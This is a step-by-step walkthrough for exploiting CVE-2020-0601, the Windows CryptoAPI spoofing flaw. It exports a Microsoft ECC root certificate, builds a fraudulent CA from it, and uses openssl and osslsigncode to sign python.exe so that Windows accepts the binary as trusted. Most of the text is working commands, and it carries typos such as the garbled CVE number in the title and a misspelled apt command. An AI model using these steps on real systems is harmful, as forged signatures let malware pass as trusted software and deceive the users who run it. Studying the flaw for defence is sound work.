**This is a executable signature exploit step for CVE-2020-06（Windows CryptoAPI Spoofing Vulnerability）.**

**1.Certificate check**

In windows 10 and windows server 2016 & 2019 operating system, use Win+r to start "run" programe, and type "certmgr.msc", to start the "certmgr", which include all certificate installed in your system.

In the subordinate label of tag "Trusted Root Certification Authorities", Click "Certificates", you will find certificates like "Microsoft ECC Product Root Certificate Authority 2018". Those certificates are the file we are going to use. Right click one of them and export it a folder.

By checking the detail once you finish export, you can find out the real ECC certificate is valid until 2043, we will late spoof a fake one which valid until 2047.

**2.Environment setup and spoof a certificate**

* Windows 10 pro (10.0.17763 Build 17763)
* Windows Subsystem for Linux (For use the Linux command, we use “WSL” for the rest for text )
* Ruby 2.5.1p57 and osslsigncode (install those in WSL), Python 3.7.1 (install it in windows)
* main.rb, openssl\_cs.conf, python.exe, index.js and RealECC.cer (in the attachment)

1. Install and launch the WSL, If it is your first time launch it, you might get the error “ The Windows Subsystem for Linux optional component is not enabled”, here is a link for you to fix this problem:

<https://answers.microsoft.com/en-us/insider/forum/all/how-to-enable-the-windows-subsystem-for-linux/16e8f2e8-4a6a-4325-a89a-fd28c7841775>

1. Once you successfully launched the WSL, create a username and type your password for it, then you be able to get start using Linux command. The real address in windows system should be : C:\Users\#your\_username\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows\_79rhkp1fndgsc\LocalState\rootfs\home
2. Create a folder name “CV-2020-0601E”: mkdir CVE-2020-0601
3. Move all file we need (main.rb, openssl\_cs.conf, python.exe, index.js and RealECC.cer) to the folder manually at windows system.(you may have to restart the WSL for refresh, the folder may not appear). The change de path to the folder

cd CVE-2020-0601 (if you got Permission denied, type “sudo su” to change user to “root” and then retype it).

1. Setup the Ruby and osslsigncode:

**apt-get install ruby**

**apt update**

**apt-get offlsigncode**

1. From this step, we start to spoof a fake certificate like RealECC.cer and generate an executable file, first generate public key file:

**ruby main.rb ./RealECC.cer**

1. Generate a new x509 certificate based on this key, which will be our own fraudulent CA.

**openssl req -new -x509 -key spoofed\_ca.key -out spoofed\_ca.crt**

The country, region, and author can be filled in at will, and a “spoofed\_ca.crt” public key file is generated at this time.

1. Generate a new key. The key can be any type you want, it will be used to create a code signing certificate, and we will sign it with our own CA.

**openssl ecparam -name secp384r1 -genkey -noout -out cert.key**

A new "cert.key" key file is generated.

1. Next create a new Certificate Signing Request (CSR). The request is usually sent to a trusted CA, but because there is a spoof request, we can sign it ourselves.

**openssl req -new -key cert.key -out cert.csr -config openssl\_cs.conf -reqexts v3\_cs**

A "cert.csr" file is generated.

1. Sign a new CSR with our fraudulent CA and CA key. The certificate will expire in 2047, while a truly trusted Microsoft CA will expire in 2043.

**openssl x509 -req -in cert.csr -CA spoofed\_ca.crt -CAkey spoofed\_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl\_cs.conf -extensions v3\_cs**

Generate a "cert.crt" signed certificate file.

1. Package the certificate's key and a fraudulent CA into a PKCS12 file to sign the executable.

**openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed\_ca.crt -name "Code Signing" -out cert.p12**

when it asking for password, just push “enter” twice, leave no password.

Generate a certificate file named "cert.p12".

1. Sign the executable with a PKCS12 file.

**osslsigncode sign -pkcs12 cert.p12 -n "Signed by yiming" -in python.exe -out python\_signed.exe**

osslsigncode may need to install in WSL :

**apt-get install osslsigncode**

Sign the executable file with the PKCS12 file, and finally generate a "python\_signed.exe" signed executable file.

1. Right click the “python\_signed.exe” , click Properties, you will find there is a tag ”Digital Signatures”, click “details”, you will find this signature is signer by “yiming”. And click “View Certificate” button, which shows you this Certificate is Issued to “yiming” by “YIMING”, valid until year 2047.

Click “Install Certificate” and go all the way to the end, there will be no problem to install it, which approve the Certificate is totally trusted by Microsoft.

At this step we successfully spoof a fake Certificates which signed by ourselves.